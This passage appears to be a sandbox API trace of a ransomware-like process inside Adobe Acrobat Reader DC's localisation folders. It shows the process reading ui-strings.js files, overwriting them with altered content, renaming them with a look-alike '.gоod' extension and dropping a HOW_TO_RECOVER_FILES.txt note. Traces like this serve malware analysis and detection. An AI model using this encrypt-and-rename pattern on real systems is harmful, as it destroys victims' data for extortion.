DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-gb", lpFilePart=0x0) returned 0x7e [0260.310] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-gb\\*", lpFindFileData=0x20beb8b0 | out: lpFindFileData=0x20beb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a740 [0262.657] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.657] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x337, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.657] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0262.657] FindClose (in: hFindFile=0x134a740 | out: hFindFile=0x134a740) returned 1 [0262.657] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20bebad0) returned 1 [0262.657] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba90) returned 1 [0262.657] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb90) returned 1 [0262.657] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-gb", nBufferLength=0x105, lpBuffer=0x20beb630, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-gb", lpFilePart=0x0) returned 0x7e [0262.657] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-gb\\*", lpFindFileData=0x20beb8b0 | out: lpFindFileData=0x20beb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae60 [0262.658] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.658] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x337, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.658] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x337, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.658] FindClose (in: hFindFile=0x134ae60 | out: hFindFile=0x134ae60) returned 1 [0262.658] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20bebad0) returned 1 [0262.658] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba90) returned 1 [0262.658] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-gb\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb470, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-gb\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0262.658] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb940) returned 1 [0262.659] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-gb\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-gb\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3bccc88 | out: lpFileInformation=0x3bccc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x337)) returned 1 [0262.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb900) returned 1 [0262.659] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-gb\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-gb\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0262.659] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb7f0) returned 1 [0262.659] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-gb\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-gb\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0262.659] GetFileType (hFile=0x86c) returned 0x1 [0262.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb760) returned 1 [0262.659] GetFileType (hFile=0x86c) returned 0x1 [0262.659] GetFileSize (in: hFile=0x86c, lpFileSizeHigh=0x20beb998 | out: lpFileSizeHigh=0x20beb998*=0x0) returned 0x337 [0262.659] ReadFile (in: hFile=0x86c, lpBuffer=0x3bcd388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20beb8c8, lpOverlapped=0x0 | out: lpBuffer=0x3bcd388*, lpNumberOfBytesRead=0x20beb8c8*=0x337, lpOverlapped=0x0) returned 1 [0262.660] CloseHandle (hObject=0x86c) returned 1 [0262.688] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-gb\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-gb\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0262.688] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb7f0) returned 1 [0262.688] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-gb\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-gb\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0262.688] GetFileType (hFile=0x86c) returned 0x1 [0262.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb760) returned 1 [0262.688] GetFileType (hFile=0x86c) returned 0x1 [0262.689] WriteFile (in: hFile=0x86c, lpBuffer=0x3c47d98*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x20beb7d8, lpOverlapped=0x0 | out: lpBuffer=0x3c47d98*, lpNumberOfBytesWritten=0x20beb7d8*=0x340, lpOverlapped=0x0) returned 1 [0262.689] CloseHandle (hObject=0x86c) returned 1 [0262.689] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-gb\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb470, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-gb\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0262.689] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-gb\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x20beb470, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-gb\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x91 [0262.689] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb900) returned 1 [0262.689] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-gb\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-gb\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x20beb9e0 | out: lpFileInformation=0x20beb9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x98c9854f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x340)) returned 1 [0262.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb8c0) returned 1 [0262.689] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-gb\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-gb\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-gb\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-gb\\ui-strings.js.gоod")) returned 1 [0262.690] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-gb\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x20beb5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-gb\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x97 [0262.690] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb00) returned 1 [0262.690] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-gb\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-gb\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x86c [0262.691] GetFileType (hFile=0x86c) returned 0x1 [0262.691] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba70) returned 1 [0262.691] GetFileType (hFile=0x86c) returned 0x1 [0262.692] WriteFile (in: hFile=0x86c, lpBuffer=0x3c4b6e8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x20bebbc8, lpOverlapped=0x0 | out: lpBuffer=0x3c4b6e8*, lpNumberOfBytesWritten=0x20bebbc8*=0x5d0, lpOverlapped=0x0) returned 1 [0262.692] CloseHandle (hObject=0x86c) returned 1 [0262.692] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb90) returned 1 [0262.692] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-il", nBufferLength=0x105, lpBuffer=0x20beb630, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-il", lpFilePart=0x0) returned 0x7e [0262.692] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-il\\*", lpFindFileData=0x20beb8b0 | out: lpFindFileData=0x20beb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b340 [0262.857] FindNextFileW (in: hFindFile=0x134b340, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.857] FindNextFileW (in: hFindFile=0x134b340, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.857] FindNextFileW (in: hFindFile=0x134b340, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0262.857] FindClose (in: hFindFile=0x134b340 | out: hFindFile=0x134b340) returned 1 [0262.857] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20bebad0) returned 1 [0262.857] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba90) returned 1 [0262.857] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb90) returned 1 [0262.857] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-il", nBufferLength=0x105, lpBuffer=0x20beb630, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-il", lpFilePart=0x0) returned 0x7e [0262.857] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-il\\*", lpFindFileData=0x20beb8b0 | out: lpFindFileData=0x20beb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b460 [0262.858] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.858] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.858] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.858] FindClose (in: hFindFile=0x134b460 | out: hFindFile=0x134b460) returned 1 [0262.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20bebad0) returned 1 [0262.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba90) returned 1 [0262.858] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-il\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb470, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-il\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0262.858] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb940) returned 1 [0262.858] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-il\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-il\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x393c3e8 | out: lpFileInformation=0x393c3e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x352)) returned 1 [0262.859] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb900) returned 1 [0262.859] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-il\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-il\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0262.859] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb7f0) returned 1 [0262.859] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-il\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-il\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0262.859] GetFileType (hFile=0x858) returned 0x1 [0262.859] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb760) returned 1 [0262.859] GetFileType (hFile=0x858) returned 0x1 [0262.859] GetFileSize (in: hFile=0x858, lpFileSizeHigh=0x20beb998 | out: lpFileSizeHigh=0x20beb998*=0x0) returned 0x352 [0262.859] ReadFile (in: hFile=0x858, lpBuffer=0x393cb08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20beb8c8, lpOverlapped=0x0 | out: lpBuffer=0x393cb08*, lpNumberOfBytesRead=0x20beb8c8*=0x352, lpOverlapped=0x0) returned 1 [0262.860] CloseHandle (hObject=0x858) returned 1 [0262.886] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-il\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-il\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0262.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb7f0) returned 1 [0262.886] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-il\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-il\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0262.886] GetFileType (hFile=0x858) returned 0x1 [0262.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb760) returned 1 [0262.887] GetFileType (hFile=0x858) returned 0x1 [0262.887] WriteFile (in: hFile=0x858, lpBuffer=0x39b5498*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x20beb7d8, lpOverlapped=0x0 | out: lpBuffer=0x39b5498*, lpNumberOfBytesWritten=0x20beb7d8*=0x360, lpOverlapped=0x0) returned 1 [0262.887] CloseHandle (hObject=0x858) returned 1 [0262.887] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-il\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb470, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-il\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0262.887] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-il\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x20beb470, 